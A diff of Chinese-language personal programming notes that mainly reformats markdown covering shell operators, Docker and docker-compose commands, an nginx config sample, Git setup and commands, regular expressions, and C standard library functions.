| `!` | 在引用中表示间距引用 |
| `#` | 在数组中表示长度 |
### 条件操作符
|操作符|描述|
| --------| ------------------------------------------------------------|
|`=`|字符串比较(相等)|
|`!=`|字符串比较(不等)|
|`-lt`|数值比较(小于)|
|`-gt`|数值比较(大于)|
|`-le`|数值比较(小于等于)|
|`-ge`|数值比较(大于等于)|
|`-eq`|数值比较(等于)|
|`-ne`|数值比较(不等于)|
|`=~`|正则表达式匹配|
|`-z`|字符串为空|
|`-n`|字符串不为空|
|`:=`|在参数扩展中使​用,用于在变量未设置或为空时赋予一个默认值|
| 操作符 | 描述 |
| ------- | ----------------------------------------------------------- |
| `=` | 字符串比较(相等) |
| `!=` | 字符串比较(不等) |
| `-lt` | 数值比较(小于) |
| `-gt` | 数值比较(大于) |
| `-le` | 数值比较(小于等于) |
| `-ge` | 数值比较(大于等于) |
| `-eq` | 数值比较(等于) |
| `-ne` | 数值比较(不等于) |
| `=~` | 正则表达式匹配 |
| `-z` | 字符串为空 |
| `-n` | 字符串不为空 |
| `:=` | 在参数扩展中使 用,用于在变量未设置或为空时赋予一个默认值 |
### 逻辑操作符详解
|操作符|描述|
| --------| ---------------|
|`&&`|逻辑与AND|
|`\|\|`|逻辑或OR|
|`!`|逻辑非NOT|
| 操作符 | 描述 |
| -------- | ------------- |
| `&&` | 逻辑与AND |
| `\|\|` | 逻辑或OR |
| `!` | 逻辑非NOT |
### 算术操作符详解
|操作符|描述|
| --------| --------|
|`+`|加法|
|`-`|减法|
|`*`|乘法|
|`/`|除法|
|`%`|取模|
|`**`|幂运算|
| 操作符 | 描述 |
| ------ | ------ |
| `+` | 加法 |
| `-` | 减法 |
| `*` | 乘法 |
| `/` | 除法 |
| `%` | 取模 |
| `**` | 幂运算 |
### 文件测试操作符
|操作符|描述|示例|
| --------| ----------------------| ------|
|`-f`|文件存在且为普通文件|`if [[ -f $file ]]`|
|`-d`|目录存在|`if [[ -d $directory ]]`|
|`-e`|文件存在|`if [[ -e $filepath ]]`|
|`-r`|文件存在且可读|`if [[ -r $file ]]`|
|`-w`|文件存在且可写|`if [[ -w $file ]]`|
|`-x`|文件存在且可执行|`if [[ -x $file ]]`|
|`-s`|文件存在且非空|`if [[ -s $file ]]`|
| 操作符 | 描述 | 示例 |
| ------ | -------------------- | -------------------------- |
| `-f` | 文件存在且为普通文件 | `if [[ -f $file ]]` |
| `-d` | 目录存在 | `if [[ -d $directory ]]` |
| `-e` | 文件存在 | `if [[ -e $filepath ]]` |
| `-r` | 文件存在且可读 | `if [[ -r $file ]]` |
| `-w` | 文件存在且可写 | `if [[ -w $file ]]` |
| `-x` | 文件存在且可执行 | `if [[ -x $file ]]` |
| `-s` | 文件存在且非空 | `if [[ -s $file ]]` |

View File

@ -7,10 +7,10 @@ tags: []
## if
```shell
if [ condition ];
if [ condition ];
then
# 在条件为真时执行的命令
elif [ condition2 ];
elif [ condition2 ];
then
# 在第一个条件为假,但第二个条件为真时执行的命令
else
@ -37,15 +37,15 @@ case <expression> in
esac
```
case关键字表示开始一个case语句块。
expression是需要匹配的表达式或变量。
pattern1, pattern2, pattern3等是可能的匹配模式。
command1, command2, command3是与每个模式匹配时要执行的命令。
*)是通配符,用于匹配所有不符合前面模式的情况。
default_command是当没有匹配模式时执行的命令。
case 关键字表示开始一个 case 语句块。
expression 是需要匹配的表达式或变量。
pattern1, pattern2, pattern3 等是可能的匹配模式。
command1, command2, command3 是与每个模式匹配时要执行的命令。
\*)是通配符,用于匹配所有不符合前面模式的情况。
default_command 是当没有匹配模式时执行的命令。
;;用于标识每个模式下命令的结束。
## for循环
## for 循环
### 第一种

View File

@ -4,8 +4,7 @@ date: 2024-06-06T23:51:42Z
tags: []
---
## 将Shell变量输出为环境变量
## 将 Shell 变量输出为环境变量
`export 变量名=变量值`

View File

@ -4,7 +4,6 @@ date: 2024-06-06T23:51:42Z
tags: []
---
## 方法一:使用 function 关键字
```shell

View File

@ -4,15 +4,14 @@ date: 2024-06-06T23:51:38Z
tags: []
---
## 脚本要求
脚本以`#!/bin/bash`开头
用来指定哪一个shell进行解析,脚本需要可执行权限
用来指定哪一个 shell 进行解析,脚本需要可执行权限
## 脚本后缀
通用sh(不限制后缀)
通用 sh(不限制后缀)
## 执行方法
@ -21,6 +20,6 @@ tags: []
> 赋可执行权限
> 输入程序相对路径或绝对路径
### 2.用bash
### 2.用 bash
bash+绝对路径或相对路劲

View File

@ -4,33 +4,33 @@ date: 2024-07-02T13:04:06Z
tags: []
---
### 常见命令
* 创建运行容器
- 创建运行容器
```docker
docker run [options] IMAGE [command]
```
* command
- command
* `-d`​:后台运行
* `--name [name]`​:容器名称
* `-p [host port]:[container port]`​:映射端口
* `-v [/host/data]:[/container/data]`​:绑定挂载一个数据卷,如果数据卷不存在会自动创建
* `-e [KEY]=[VALUE]`​:环境变量
* `--network [my-network]`​:指定连接到一个网络
* `[image]:[tag]`​:未指定版本时,默认是latest,代表最新版本
* 拉取镜像
- `-d`​:后台运行
- `--name [name]`​:容器名称
- `-p [host port]:[container port]`​:映射端口
- `-v [/host/data]:[/container/data]`​:绑定挂载一个数据卷,如果数据卷不存在会自动创建
- `-e [KEY]=[VALUE]`​:环境变量
- `--network [my-network]`​:指定连接到一个网络
- `[image]:[tag]`​:未指定版本时,默认是 latest,代表最新版本
未指定版本时,默认是latest,代表最新版本
- 拉取镜像
未指定版本时,默认是 latest,代表最新版本
```docker
docker pull [image]:[tag]
```
* 查看指定镜像
- 查看指定镜像
不写镜像名查看所有镜像
@ -38,112 +38,117 @@ tags: []
docker images [image]
```
* 删除指定镜像
- 删除指定镜像
```docker
docker rmi [image]
```
* 保存镜像
- 保存镜像
```docker
docker [options] sava [image:tag]
```
* options
- options
* `-o [name]`​:文件保存文件名
* 加载镜像
- `-o [name]`​:文件保存文件名
- 加载镜像
```docker
docker load [OPTIONS]
```
* options
- options
* `-i [name]`​:镜像文件名
* `-q`​:不输入提示内容
* 列出运行的容器
- `-i [name]`​:镜像文件名
- `-q`​:不输入提示内容
- 列出运行的容器
```docker
docker ps [options]
```
* options
- options
* `-a`​:列出包括未运行的容器
* `-q`仅显示容器ID
* 停止容器
- `-a`​:列出包括未运行的容器
- `-q`​:仅显示容器 ID
- 停止容器
```docker
docker stop [container]
```
* 启动容器
- 启动容器
```docker
docker start [container]
```
* 删除容器
- 删除容器
```docker
docker rm [container]
```
* `-f`​:强制删除
* 查看容器详情
- `-f`​:强制删除
- 查看容器详情
```docker
docker inspect [container]
```
* 查看容器日志
- 查看容器日志
```docker
docker logs [options] [container]
```
* `-f`​:跟随日志输出(实时显示日志)
* 在运行的容器中执行命令
- `-f`​:跟随日志输出(实时显示日志)
- 在运行的容器中执行命令
```docker
docker exec [OPTIONS] [container] [COMMAND] [bash]
```
* `-i`​:保持标准输入打开,即使没有连接。
* `-t`​:分配一个伪终端
* `-u`​:以指定用户的身份运行命令
* `-d`​:在后台运行
* `-e`​:设置环境变量
- `-i`​:保持标准输入打开,即使没有连接。
- `-t`​:分配一个伪终端
- `-u`​:以指定用户的身份运行命令
- `-d`​:在后台运行
- `-e`​:设置环境变量
### 数据卷
* 创建数据卷
- 创建数据卷
```docker
docker volume create
```
* 查看所有数据卷
- 查看所有数据卷
```docker
docker volume ls
```
* 删除指定数据卷
- 删除指定数据卷
```docker
docker volume rm [volume]
```
* 查看某个数据卷的详细
- 查看某个数据卷的详细
```docker
docker volume inspect
docker volume inspect
```
* 清除数据卷
- 清除数据卷
```docker
docker volume prune
@ -153,25 +158,25 @@ tags: []
包含构建镜像需要执行的指令
* 指定基础镜像
- 指定基础镜像
```docker
FROM [image:tag]
```
* 环境变量
- 环境变量
```docker
ENV [key] [value]
```
* 将本地文件拷贝到容器的指定目录
- 将本地文件拷贝到容器的指定目录
```docker
COPY [/host/file] [/container/file]
```
* 执行容器中的shell命令
- 执行容器中的 shell 命令
一般执行安装过程
@ -179,13 +184,13 @@ tags: []
RUN [command]
```
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
```docker
EXPOSE [port]
```
* 镜像中应用的启动命令
- 镜像中应用的启动命令
```docker
ENTRYPOINT [command]
@ -193,43 +198,43 @@ tags: []
### 网络
* 创建
- 创建
```docker
docker network create [NETWORK]
```
* 查看
- 查看
```docker
docker network ls
```
* 删除指定网络
- 删除指定网络
```docker
docker network rm [NETWORK]
```
* 清楚未使用网络
- 清楚未使用网络
```docker
docker network prune
```
* 使指定容器加入指定网络
- 使指定容器加入指定网络
```docker
docker network connect [NETWORK] [CONTAINER]
```
* 使指定容器离开指定网络
- 使指定容器离开指定网络
```docker
docker network disconnect [NETWORK] [CONTAINER]
```
* 查看网络详细信息
- 查看网络详细信息
```docker
docker network inspect [NETWORK]
@ -239,13 +244,13 @@ tags: []
#### 常见关键字
* 指定 Docker Compose 文件的版本号
- 指定 Docker Compose 文件的版本号
```docker-compose
version: "3.8"
```
* 定义各个服务,每个服务可以有多个配置项。
- 定义各个服务,每个服务可以有多个配置项。
```docker-compose
services:
@ -255,61 +260,61 @@ tags: []
...
```
* 定义 Docker 网络,用于连接各个服务
- 定义 Docker 网络,用于连接各个服务
```docker-compose
networks:
- [NETWORK]:
```
* 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
- 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
```docker-compose
volumes:
- [/host/data]:[/container/data]
```
* 指定使用的镜像名称。
- 指定使用的镜像名称。
```docker-compose
[image]:[tag]
```
* 指定构建 Docker 镜像时的 Dockerfile 路径。
- 指定构建 Docker 镜像时的 Dockerfile 路径。
```docker-compose
build: [path]
```
* 将容器内部端口映射到宿主机,使外部可以访问容器服务。
- 将容器内部端口映射到宿主机,使外部可以访问容器服务。
```docker-compose
ports:
- "[host port]:[container port]"
```
* 定义环境变量
- 定义环境变量
```docker-compose
environment:
- [KEY]=[VALUE]
```
* 指定容器启动时执行的命令
- 指定容器启动时执行的命令
```docker-compose
command:
- "[command]"
```
* 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
- 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
```docker-compose
depends_on:
- service
```
* 定义容器退出时的重启策略
- 定义容器退出时的重启策略
```docker-compose
restart [strategy]
@ -318,13 +323,14 @@ tags: []
`no`​:不重启
`always`​:总是重启
* 指定给容器的名称。它是一个唯一标识符
- 指定给容器的名称。它是一个唯一标识符
```docker-compose
container_name: [my_container]
```
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
```docker-compose
expose:
@ -335,20 +341,21 @@ tags: []
1. 启动容器应用
```bash
docker-compose up
```
```bash
docker-compose up
```
- `-d`​:在后台启动服务。
- `--build`​:构建服务,即使镜像已存在。
* `-d`​:在后台启动服务。
* `--build`​:构建服务,即使镜像已存在。
2. **停止容器应用**
```docker-compose
docker-compose down
```
```docker-compose
docker-compose down
```
`-v`​:同时移除卷
`-v`​:同时移除卷
`--rmi`​:同时删除镜像
`--rmi`​:同时删除镜像

View File

@ -27,14 +27,14 @@ events {
http {
include mime.types; #文件扩展名与文件类型映射表
default_type application/octet-stream; #默认文件类型默认为text/plain
#access_log off; #取消服务日志
#access_log off; #取消服务日志
log_format myFormat '$remote_addr$remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for'; #自定义格式
access_log log/access.log myFormat; #combined为日志格式的默认值
sendfile on; #允许sendfile方式传输文件默认为off可以在http块server块location块。
sendfile_max_chunk 100k; #每个进程每次调用传输数量不能大于设定的值默认为0即不设上限。
keepalive_timeout 65; #连接超时时间默认为75s可以在httpserverlocation块。
upstream mysvr {
upstream mysvr {
server 127.0.0.1:7878;
server 192.168.10.121:3333 backup; #热备
}
@ -42,14 +42,14 @@ http {
server {
keepalive_requests 120; #单连接请求上限次数
listen 4545; #监听端口
server_name 127.0.0.1; #监听地址
server_name 127.0.0.1; #监听地址
location ~*^.+$ { #请求的url过滤,正则匹配,~为区分大小写,~*为不区分大小写。
#root path; #根目录
#index vv.txt; #设置默认页
proxy_pass http://mysvr; #请求转向mysvr 定义的服务器列表
deny 127.0.0.1; #拒绝的ip
allow 172.18.5.54; #允许的ip
}
allow 172.18.5.54; #允许的ip
}
}
}
```

View File

@ -4,29 +4,27 @@ date: 2024-06-06T23:51:10Z
tags: []
---
## 颜色名
## 光的三原色
1. `rgb`
- rgb(数值1,数值2,数值3)
- rgb(数值 1,数值 2,数值 3)
- 红绿蓝
- 数值可以是百分比或数值其中一种
2. `HEX`
- #ffffff
- rgb的16进制版,每两位代表一个颜色
- rgb 16 进制版,每两位代表一个颜色
3. `rgba`
- rgba(数值1,数值2,数值3,数值4)
- rgba(数值 1,数值 2,数值 3,数值 4)
- 数值可以是百分比或数值其中一种
- 最后一位是透明度0是透明,1是显示
- 最后一位是透明度0 是透明,1 是显示
4. `HEXA`
- #ffffffff
- HEX多了一个透明色
- HEX 多了一个透明色
如果两两相同,可以只写一位
IE浏览器不支持透明
IE 浏览器不支持透明
## 色彩模式
@ -35,4 +33,4 @@ IE浏览器不支持透明
饱和度:0%-100%
亮度:0%-100%
`hsla`
透明度:0-1的小数或百分数
透明度:0-1 的小数或百分数

View File

@ -4,9 +4,9 @@ date: 2024-06-06T23:48:36Z
tags: []
---
## 一.安装git
## 一.安装 git
[git官网下载](https://git-scm.com/downloads)
[git 官网下载](https://git-scm.com/downloads)
## 二.建立仓库
@ -21,13 +21,13 @@ cd d:
cd D:\data\code\C
```
### 2.变成Git可以管理的仓库
### 2.变成 Git 可以管理的仓库
```git
git init
```
### 3.在GitHub (类似 Gitee 的代码托管服务)创建一个仓库
### 3.在 GitHub (类似 Gitee 的代码托管服务)创建一个仓库
## 三.本地仓库关联 GitHub (类似 Gitee 的代码托管服务)仓库
@ -65,7 +65,7 @@ git config --global user.name "Your Name"
#### 2. 创建密钥
在用户主目录下,看看有没有.ssh目录如果有再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件如果已经有了可直接跳到下一步。如果没有打开ShellWindows下打开Git Bash创建SSH Key
在用户主目录下,看看有没有.ssh 目录,如果有,再看看这个目录下有没有 id_rsa id_rsa.pub 这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开 ShellWindows 下打开 Git Bash创建 SSH Key
```bash
ssh-keygen -t rsa -C "youremail@example.com"
@ -75,8 +75,8 @@ ssh-keygen -t rsa -C "youremail@example.com"
#### 3. 绑定密钥
登陆GitHub打开`Account settings``SSH Keys`页面,点`Add SSH Key`
填上任意Title在Key文本框里粘贴`id_rsa.pub`文件的内
登陆 GitHub打开`Account settings``SSH Keys`页面,点`Add SSH Key`
填上任意 Title Key 文本框里粘贴`id_rsa.pub`文件的内
#### 4. 验证远程仓库
@ -106,110 +106,109 @@ git commit -m "提交注释"
git push github master
```
> github是之前给仓库的命名,main是分支的名称
> github 是之前给仓库的命名,main 是分支的名称
## 常用的 Git 命令
* 推送
- 推送
```git
git push <origin> <master>
```
* 强制将推送本地分支
- 强制将推送本地分支
```git
git push -f <origin> <master>
```
* 拉取
- 拉取
```git
git pull <origin> <master>
```
* 强制将分支的最新内容拉取到本地的分支
- 强制将分支的最新内容拉取到本地的分支
```git
git pull --force <origin> <master>
```
* 将本地分支重置为远程分支的最新状态
- 将本地分支重置为远程分支的最新状态
```git
git reset --hard <origin>/<master>
```
* 克隆仓库
- 克隆仓库
```git
git clone <url>
```
* 添加所有更改到暂存区
- 添加所有更改到暂存区
```git
git add .
```
* 撤销部分文件的暂存
- 撤销部分文件的暂存
```git
git reset <file1> <file2>
```
* 将文件从缓存区中移除,但物理文件仍然存在
- 将文件从缓存区中移除,但物理文件仍然存在
```git
git rm --cached <path>
```
* 查看暂存区的内容
- 查看暂存区的内容
```git
git ls-files
```
* 提交已暂存的更改
- 提交已暂存的更改
```git
git commit -m "Commit message"
```
* 查看分支
- 查看分支
```git
git branch
```
* 创建并切换到新分支
- 创建并切换到新分支
```git
git checkout -b <new_branch_name>
```
* 删除本地分支
- 删除本地分支
```git
git branch -d <branch_nam>
```
* 添加远程仓库
- 添加远程仓库
```git
git remote add <origin> <remote_repository_url>
```
* 移除与远程仓库的关联
- 移除与远程仓库的关联
```git
git remote remove <origin>
```
* 版本回退
- 版本回退
> HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
>
> HEAD 相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
```git
git reset --hard HEAD~1
@ -269,7 +268,7 @@ git config --global core.eol crlf
### 上传需要忽略的文件
在项目根目录下创建一个名为`.gitignore`​的文件,然后在文件中列出你想要忽略的文件和目录例如
在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目录例如
```git
# 忽略 test.c 文件
@ -280,15 +279,20 @@ practice_test/
**/test.c
```
在项目根目录下创建一个名为`.gitignore`​的文件,然后在文件中列出你想要忽略的文件和目
在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目
```markdown
# 忽略 test.c 文件
practice_code/test.c
# 忽略 practice_test/ 目录下的文件
practice_test/
# 忽略 所有test.c 文件
**/test.c每次提交自动同步到代码托管服务平台
# 忽略 所有 test.c 文件
\*\*/test.c 每次提交自动同步到代码托管服务平台
```
#### 2.将已被追踪的文件的更改加入到暂存区
@ -301,14 +305,14 @@ git add -u
1.创建钩子
在本地仓库的`.git/hooks`​目录下,你可以创建一个名为`post-commit`​的文件,该文件是在每次提交后运行的钩子
在本地仓库的`.git/hooks` 目录下,你可以创建一个名为`post-commit` 的文件,该文件是在每次提交后运行的钩子
```git
#!/bin/bash
# 自动同步到 Gitee
git push gitee master
# 自动同步到 GitHub
git push github master
```
@ -329,7 +333,7 @@ git commit -m "Your commit message"
#### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C`
编辑`~/.profile``~/.bashrc`​文件
编辑`~/.profile``~/.bashrc` 文件
在文件末尾加上
@ -337,38 +341,38 @@ git commit -m "Your commit message"
cd d:/data/code
```
现在,每次你打开 Git Bash它都应该默认定位到 `D:\data`​目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
现在,每次你打开 Git Bash它都应该默认定位到 `D:\data` 目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
### 保存SSH 密钥的通行短语
### 保存 SSH 密钥的通行短语
1. 启动ssh-agent
1. 启动 ssh-agent
2. 编辑 `~/.profile` `~/.bashrc` 文件
2. 编辑 `~/.profile``~/.bashrc` 文件
在文件末尾加上
在文件末尾加上
```powershell
env=~/.ssh/agent.env
```powershell
env=~/.ssh/agent.env
agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
agent_load_env () { test -f "$env" && . "$env" >| /dev/null ; }
agent_start () {
(umask 077; ssh-agent >| "$env")
. "$env" >| /dev/null ; }
agent_start () {
(umask 077; ssh-agent >| "$env")
. "$env" >| /dev/null ; }
agent_load_env
agent_load_env
# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
# agent_run_state: 0=agent running w/ key; 1=agent w/o key; 2=agent not running
agent_run_state=$(ssh-add -l >| /dev/null 2>&1; echo $?)
if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
agent_start
ssh-add
elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
ssh-add
fi
if [ ! "$SSH_AUTH_SOCK" ] || [ $agent_run_state = 2 ]; then
agent_start
ssh-add
elif [ "$SSH_AUTH_SOCK" ] && [ $agent_run_state = 1 ]; then
ssh-add
fi
unset env
```
unset env
```
3. 再次运行 Git Bash 时,系统将提示您输入密码

View File

@ -15,72 +15,74 @@ tags: []
## 限定符
`?`前面的字符可以出现0次或1次(可有可无)
`*` 前面的字符可以出现0次或者是多次
`?` 前面的字符可以出现 0 次或 1 次(可有可无)
`*` 前面的字符可以出现 0 次或者是多次
`+` 前面的字符出现一次以上
`{}` 可以限定出现的次数
> 例如
> {n}前面出现n次
> {n,}最少出现n次
> {n,m}最少出现n次,最多m次
> {n}前面出现 n
> {n,}最少出现 n
> {n,m}最少出现 n 次,最多 m
## 边界符
`\b`​单词边界符
`\b` 单词边界符
`\B`​非该单词边界
`\B` 非该单词边界
`/g`​全局标记找到所有匹配子串
`/g` 全局标记找到所有匹配子串
## 匹配模式
`/m`​多行匹配
`/m` 多行匹配
`^` 开头
`$` 结尾
`.*`​:贪婪验证
`.*`​:贪婪验证
`.*?`:惰性验证
## 其他字符
`[]`​区间字符:匹配[]所指定的字符
`[]` 区间字符:匹配[]所指定的字符
> [.?!]匹配句号,问号,感叹号
> [0-5]匹配0,1,2,3,4,5
> [0-5]匹配 0,1,2,3,4,5
`^`​排除字符:匹配不在[]中指定的字符
`^` 排除字符:匹配不在[]中指定的字符
> [^0-5]匹配除了0,1,2,3,4,5之外的字符
> [^0-5]匹配除了 0,1,2,3,4,5 之外的字符
`|`​选择字符:用于匹配|作用的任意字符
`|` 选择字符:用于匹配|作用的任意字符
> \d{18}|\d{15}匹配18位或15位身份证
> \d{18}|\d{15}匹配 18 位或 15 位身份证
`\`​转义字符:将特殊字符转为普通字符使用
`\` 转义字符:将特殊字符转为普通字符使用
`[\u4e00-\u9fa5]`:匹配任意一个汉字
`()`​分组:改变限定字符的作用
`()` 分组:改变限定字符的作用
## 分组
* 普通分组
- 普通分组
`()`
* 非捕获分组
- 非捕获分组
`(?:<表达式>)`
* 回溯分组
- 回溯分组
`\<number>`
数字代表了第几个分组
> (ab)+ ab出现一次以上
> (ab)+ ab 出现一次以上
## 断言
@ -88,30 +90,28 @@ tags: []
* 正向
- 正向
`(?=<表达式>)`
> 右边必须出现某个字符
>
* 反向
- 反向
`(?!<表达式>)`
> 右边不能出现某个字符
>
### 后行断言
* 正向
- 正向
`(?<=<表达式>)`
> 左边必须出现某个字符
>
* 反向
- 反向
`(?<!<表达式>)`
> 左边不能出现某个字符
>

View File

@ -15,40 +15,42 @@ tags: []
1. 模块化
2. 自顶往下
3. 逐步求精
4. 限制使用go语句
4. 限制使用 go 语句
### 程序执行过程
1. 源程序(`.c`)
编译
编译
2. 目标文件(`.obj`)
链接
链接
3. 执行文件(`.exe`)
执行
执行
### 常量
#### 整数
* `0`开头的是8进制
* `0x`开头的是16进制
- `0` 开头的是 8 进制
- `0x` 开头的是 16 进制
#### 小数
* `0.7`=`.7`
* `7.0`=`7.`
* 科学计数`6E6`
- `0.7`=`.7`
- `7.0`=`7.`
- 科学计数`6E6`
E的前后必须有数后面必须为整数
E 的前后必须有数,后面必须为整数
#### 字符型
##### 普通字符
c语言只有单字符
c 语言只有单字符
A=65
@ -56,15 +58,15 @@ a=97
##### 转义字符
* 一般转义字符:`\n` `\t`
* 八进制转义字符:`\0`开头,`\0343`
* 十六进制转义字符:`\0x`开头,`\0xaf`
- 一般转义字符:`\n` `\t`
- 八进制转义字符:`\0` 开头,`\0343`
- 十六进制转义字符:`\0x` 开头,`\0xaf`
### 注释
开头:/*
开头:/\*
结尾:*/
结尾:\*/
### 三段论
@ -74,24 +76,24 @@ a=97
#### 关键字
* int
* float
* acse
- int
- float
- acse
不能作为用户标识符
#### 预定义标识符
* printf
* scanf
* define
- printf
- scanf
- define
可以作为用户标识符
#### 用户标识符
* int a
* int _a
- int a
- int \_a
#### 规则

View File

@ -4,27 +4,25 @@ date: 2024-06-06T23:51:12Z
tags: []
---
## stdio.h
* 读写文件
- 读写文件
`FILE *fopen(const char *filename, const char *mode)`
> * filename -- 字符串,表示要打开的文件名称
> * mode -- 字符串,表示文件的访问模式
>
> - filename -- 字符串,表示要打开的文件名称
> - mode -- 字符串,表示文件的访问模式
* 格式化输出字符串
- 格式化输出字符串
`snprintf ( char \* str, size_t size, const char \* format, ... )`
> * **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
> * **size** -- 字符数组的大小。
> * **format** -- 格式化字符串。
> * **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
>
* 清除缓存
> - **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
> - **size** -- 字符数组的大小。
> - **format** -- 格式化字符串。
> - **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
- 清除缓存
```c
fflush(stdin)
@ -32,111 +30,110 @@ tags: []
## stdlib.h
* 清屏命令
- 清屏命令
```c
system("cls"); // windows清屏命令
system("clear"); //Linux和macOS清屏命令
```
* 手动管理内存
- 手动管理内存
* 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
- 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
`void *malloc(size_t size)`
* 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
- 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
`void *calloc(size_t nitems, size_t size)`
* 尝试重新调整之前调用所分配的指针所指向的内存块的大小
- 尝试重新调整之前调用所分配的指针所指向的内存块的大小
`void *realloc(void *ptr, size_t size)`
* 释放之前调用 函数 所分配的内存空间
- 释放之前调用 函数 所分配的内存空间
`void free(void *ptr)`
* > * **ptr** -- 指针指向一个分配内存的内存块的指针。
> * **size** -- 内存块的大小,以字节为单位。
> * **nitems** -- 要被分配的元素个数。
>
* 排序
- > - **ptr** -- 指针指向一个分配内存的内存块的指针。
> - **size** -- 内存块的大小,以字节为单位。
> - **nitems** -- 要被分配的元素个数。
- 排序
```c
void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*))
```
> * **base** -- 指向要排序的数组的第一个元素的指针。
> * **nitems** -- 由 base 指向的数组中元素的个数。
> * **size** -- 数组中每个元素的大小,以字节为单位。
> * **compar** -- 用来比较两个元素的函数。
> * 该函数不返回任何值。
>
* 随机数
> - **base** -- 指向要排序的数组的第一个元素的指针。
> - **nitems** -- 由 base 指向的数组中元素的个数。
> - **size** -- 数组中每个元素的大小,以字节为单位。
> - **compar** -- 用来比较两个元素的函数。
> - 该函数不返回任何值。
- 随机数
1. 设置随机数种子
```c
void srand(unsigned int seed)
```
```c
void srand(unsigned int seed)
```
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
>
2. 获取随机数
```c
int rand(void)
```
```c
int rand(void)
```
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
>
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
## string.h
1. 字符追加
```c
char *strncat(char *dest, const char *src, size_t n)
```
```c
char *strncat(char *dest, const char *src, size_t n)
```
> * **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
> * **src** -- 要追加的字符串。
> * **n** -- 要追加的最大字符数。
> * 该函数返回一个指向最终的目标字符串 dest 的指针。
>
2. 字符串检索
> - **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
> - **src** -- 要追加的字符串。
> - **n** -- 要追加的最大字符数。
> - 该函数返回一个指向最终的目标字符串 dest 的指针。
```c
char *strstr(const char *haystack, const char *needle)
```
2. 字符串检索
> * **haystack** -- 要被检索的 C 字符串。
> * **needle** -- 在 haystack 字符串内要搜索的小字符串。
> * 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
>
```c
char *strstr(const char *haystack, const char *needle)
```
> - **haystack** -- 要被检索的 C 字符串。
> - **needle** -- 在 haystack 字符串内要搜索的小字符串。
> - 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
## time.h
time(null)返回当前时间戳unistd.h
time(null)返回当前时间戳 unistd.h
sleep(1); // 暂停 1 秒
## conio.h
_kbhit()//如果有按键按下则_kbhit()函数返回真
_getch();//使用_getch()函数获取按下的键值
\_kbhit()//如果有按键按下,则\_kbhit()函数返回真
\_getch();//使用\_getch()函数获取按下的键值
## errno.h
errno返回系统发生错误代码
errno 返回系统发生错误代码
## ctype.h
```c
int isalnum(int c) 该函数检查所传的字符是否是字母和数字。
int isalnum(int c) 该函数检查所传的字符是否是字母和数字。
int isalpha(int c) 该函数检查所传的字符是否是字母。
int iscntrl(int c) 该函数检查所传的字符是否是控制字符。
int isdigit(int c) 该函数检查所传的字符是否是十进制数字。
int isgraph(int c) 该函数检查所传的字符是否有图形表示法。
int isdigit(int c) 该函数检查所传的字符是否是十进制数字。
int isgraph(int c) 该函数检查所传的字符是否有图形表示法。
int islower(int c) 该函数检查所传的字符是否是小写字母。
int isprint(int c) 该函数检查所传的字符是否是可打印的。
int ispunct(int c) 该函数检查所传的字符是否是标点符号字符
int isspace(int c) 该函数检查所传的字符是否是空白字符。
int isupper(int c) 该函数检查所传的字符是否是大写字母。
int isspace(int c) 该函数检查所传的字符是否是空白字符。
int isupper(int c) 该函数检查所传的字符是否是大写字母。
int isxdigit(int c) 该函数检查所传的字符是否是十六进制数字
int tolower(int c) 该函数把大写字母转换为小写字母。
int toupper(int c) 该函数把小写字母转换为大写字母。

View File

@ -6,20 +6,23 @@ tags: []
1. **堆区Heap**
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
2. **栈区Stack**
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出LIFO的数据结构。
